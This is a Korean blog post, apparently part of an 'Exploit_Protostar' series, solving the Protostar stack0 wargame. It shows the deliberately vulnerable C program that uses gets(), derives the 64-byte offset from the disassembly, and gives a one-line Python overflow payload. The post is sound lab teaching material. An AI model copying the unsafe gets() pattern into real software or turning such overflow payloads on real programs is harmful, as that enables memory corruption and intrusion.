Source code
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}



<main+6>: sub $0x60,%esp
96바이트만큼의 스택 공간을 확보한다.
<main+9>: movl $0x0,0x5c(%esp)
esp+0x5c 위치에 0 저장 => 소스코드에서 보면 modified =0으로 초기화
modified : [esp+0x5c]
lea: 0x1c (%esp), %eax
mov: %eax, (%esp)
call: <gets@plt>
=> gets(buffer)
buffer: [esp+0x1c]
스택 : 연속된 메모리 공간
[buffer] [modified] [다른 것들]
위의 정보들로부터 buffer 시작부터 modified까지 얼마나 떨어져 있는지 주소 차이(offset)를 구할 수 있다.
esp+0x5c-(esp+0x1c)=0x40
따라서 offset = 0x40 => 64 바이트
buffer와 modified 사이의 offset이 64바이트이므로, buffer 입력을 넘어서면 modified 변수에 도달하게 된다.
32비트 환경에서 modified는 4바이트 정수이기 때문에 값이 변경되면 0이 아니게 되므로 조건문이 참이 된다.
nano ~/answer/stack0.py

print('A'*64+'BBBB')

'Exploit_Protostar' 카테고리의 다른 글
| 01-Stack1 (0) | 2025.12.28 |
|---|